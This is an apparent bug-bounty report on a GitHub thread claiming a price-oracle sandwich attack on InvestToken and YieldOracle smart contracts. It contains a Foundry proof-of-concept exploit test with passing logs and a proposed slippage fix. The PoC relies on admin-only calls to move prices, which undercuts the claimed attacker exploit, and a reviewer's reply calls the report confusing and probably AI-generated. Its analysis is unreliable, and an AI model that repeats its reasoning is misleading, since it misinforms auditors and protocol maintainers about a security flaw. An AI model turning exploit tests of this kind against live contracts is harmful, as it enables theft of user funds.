Non-atomic nature of price updates and share conversions in the price oracle integration between InvestToken and YieldOracle contracts creates a timing gap that can be exploited.

[hats-bug-reporter[bot]]

Github username: @0xbrett8571 Twitter username: 0xbrett8571 Submission hash (on-chain): 0x73587454e05e9e8fbfe5c2c66d9dd6118ce0cadfb825be22550da26c00fd29ff Severity: medium

Description: Description In InvestToken.sol, the deposit function relies on convertToShares() which calls YieldOracle.assetsToShares(). The oracle conversion can potentially return different values between the initial conversion and the actual minting due to price updates.

In InvestToken.sol#L243-L246

function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
    // @FOUND - Share calculation vulnerable to sandwich attacks
    // @FOUND - No slippage protection on share calculation
    shares = convertToShares(assets);
    usde.burn(msg.sender, assets);
    _mint(receiver, shares);
}

The conversion rate used for the preview calculations may differ from the actual conversion rate at deposit time

In YieldOracle.sol#L174-L175, YieldOracle.sol#L69-L86

function assetsToShares(uint256 assets) external view returns (uint256) {
    // @FOUND - Price used for conversion can change between preview and execution
    return Math.mulDiv(assets, 10 ** 18, currentPrice);
}

function updatePrice(uint256 price) external onlyOracle {
    // @FOUND - Price update can be sandwiched between preview and actual deposit
    require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");
    nextPrice = price;
    lastUpdate = block.timestamp;
}

The issue lies in the price oracle integration:

1. Price Manipulation Risk:

   • Users can sandwich deposit/withdraw transactions around oracle price updates
   • This allows extracting value by timing transactions with favorable price movements

2. Share Calculation Mismatch:

   • The convertToShares() calculation uses the current oracle price
   • Between preview and execution, the price can change
   • This violates ERC4626's requirement that preview functions accurately reflect actual operations

3. System Impact:

   • Users can receive significantly different share amounts than expected
   • Protocol's share-to-asset ratio can be manipulated

This vulnerability is particularly dangerous because:

• It affects core token conversion mechanics
• Can be exploited through MEV
• Impacts all users performing deposits/withdrawals
• Creates systemic risk through price manipulation opportunities

Impact

• The conversion rate used for preview calculations may differ from the actual conversion rate at deposit time
• This can lead to users receiving more or fewer shares than expected
• Violates the ERC4626 specification requirement that preview functions should accurately reflect actual operations

Attack Scenario Let's demonstrate with concrete values:

1. Initial State:

   currentPrice = 1e18;  // 1 USDE = 1 Share

2. Attacker Actions:

   
   // Step 1: Attacker monitors oracle
   // Sees pending price update to 1.5e18

// Step 2: Front-run deposit deposit(1000e18, attacker); // Gets 1000 shares at 1:1 ratio

// Step 3: Oracle update executes updatePrice(1.5e18); // Price increases 50%

// Step 4: Back-run with withdrawal redeem(1000, attacker); // Gets 1500 USDE

Profit: 500 USDE (50% return) from single oracle update

**Attachments**

1. **Proof of Concept (PoC) File**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import "forge-std/Test.sol";
import "../src/InvestToken.sol";
import "../src/YieldOracle.sol";
import "../src/USDE.sol";
import "../src/Validator.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract PriceManipulationTest is Test {
    InvestToken public investToken;
    YieldOracle public oracle;
    USDE public usde;
    Validator public validator;
    address public attacker = address(0x1);
    address public admin = address(0x2);

    function setUp() public {
        vm.startPrank(admin);

        // Deploy implementations
        USDE usdeImpl = new USDE(IValidator(address(0)));
        InvestToken investTokenImpl = new InvestToken(IValidator(address(0)), IUSDE(address(0)));

        // Deploy validator and oracle
        validator = new Validator(admin, admin, admin);
        oracle = new YieldOracle(admin, admin);

        // Deploy USDE proxy with correct validator
        bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
        ERC1967Proxy usdeProxy = new ERC1967Proxy(
            address(new USDE(IValidator(address(validator)))), 
            usdeData
        );
        usde = USDE(address(usdeProxy));

        // Deploy InvestToken proxy with correct validator
        bytes memory investData = abi.encodeWithSelector(
            InvestToken.initialize.selector,
            "Euro Investment",
            "EUI",
            admin,
            IYieldOracle(address(oracle))
        );
        ERC1967Proxy investProxy = new ERC1967Proxy(
            address(new InvestToken(IValidator(address(validator)), IUSDE(address(usdeProxy)))),
            investData
        );
        investToken = InvestToken(address(investProxy));

        // Setup roles and permissions
        bytes32 MINT_ROLE = keccak256("MINT_ROLE");
        usde.grantRole(MINT_ROLE, admin);
        usde.grantRole(MINT_ROLE, address(investToken));
        usde.grantRole(keccak256("BURN_ROLE"), address(investToken));

        // Whitelist necessary addresses
        validator.whitelist(attacker);
        validator.whitelist(admin);
        validator.whitelist(address(investToken));

        vm.stopPrank();
    }

    function testPriceManipulation() public {
        // Initial setup
        vm.startPrank(admin);
        usde.mint(attacker, 1000e18);
        vm.warp(1000);
        oracle.setMaxPriceIncrease(0.5e18);

        // Initial price setup
        oracle.setPreviousPrice(1e18);
        oracle.setCurrentPrice(1e18);
        vm.stopPrank();

        // Attacker deposits
        vm.startPrank(attacker);
        usde.approve(address(investToken), 1000e18);
        uint256 shares = investToken.deposit(1000e18, attacker);
        vm.stopPrank();

        // Update oracle prices
        vm.warp(block.timestamp + 2 days);
        vm.startPrank(admin);
        oracle.updatePrice(1.5e18);
        vm.warp(block.timestamp + 2 hours);
        oracle.commitPrice();

        // Important: Update previousPrice to match the old currentPrice
        oracle.setPreviousPrice(1.5e18);
        vm.stopPrank();

        // Attacker withdraws
        vm.startPrank(attacker);
        uint256 assetsReceived = investToken.redeem(shares, attacker, attacker);
        console.log("USDE received after withdrawal:", assetsReceived);

        uint256 profit = assetsReceived - 1000e18;
        console.log("Total profit in USDE:", profit);

        assertTrue(profit > 0, "Attack should generate profit");
        assertGt(assetsReceived, 1000e18, "Should receive more assets than deposited");
    }

}

Logs:

Ran 1 test for test/PriceManipulationTest.sol:PriceManipulationTest
[PASS] testPriceManipulation() (gas: 241700)
Logs:
  USDE received after withdrawal: 1500000000000000000000
  Total profit in USDE: 500000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.35ms (2.35ms CPU time)

The attacker was able to:

1. Deposit 1000 USDE
2. Wait for price update to 1.5x
3. Withdraw 1500 USDE
4. Generate a profit of 500 USDE

This how the protocol handles price updates and redemptions, allowing users to profit from price movements without taking the equivalent risk.

2. Revised Code File (Optional)

   function deposit(
   uint256 assets, 
   +   uint256 minShares,
   address receiver
   ) public returns (uint256 shares) {
   shares = convertToShares(assets);
   +   require(shares >= minShares, "Slippage exceeds tolerance");
   usde.burn(msg.sender, assets);
   _mint(receiver, shares);
   }

   Additional recommendations:

• Implement price update delay
• Add slippage protection parameters
• Consider atomic price updates
• Cache conversion rates within transactions

[AndreiMVP]

Confusing and probably gpt generated, similar to others by submitter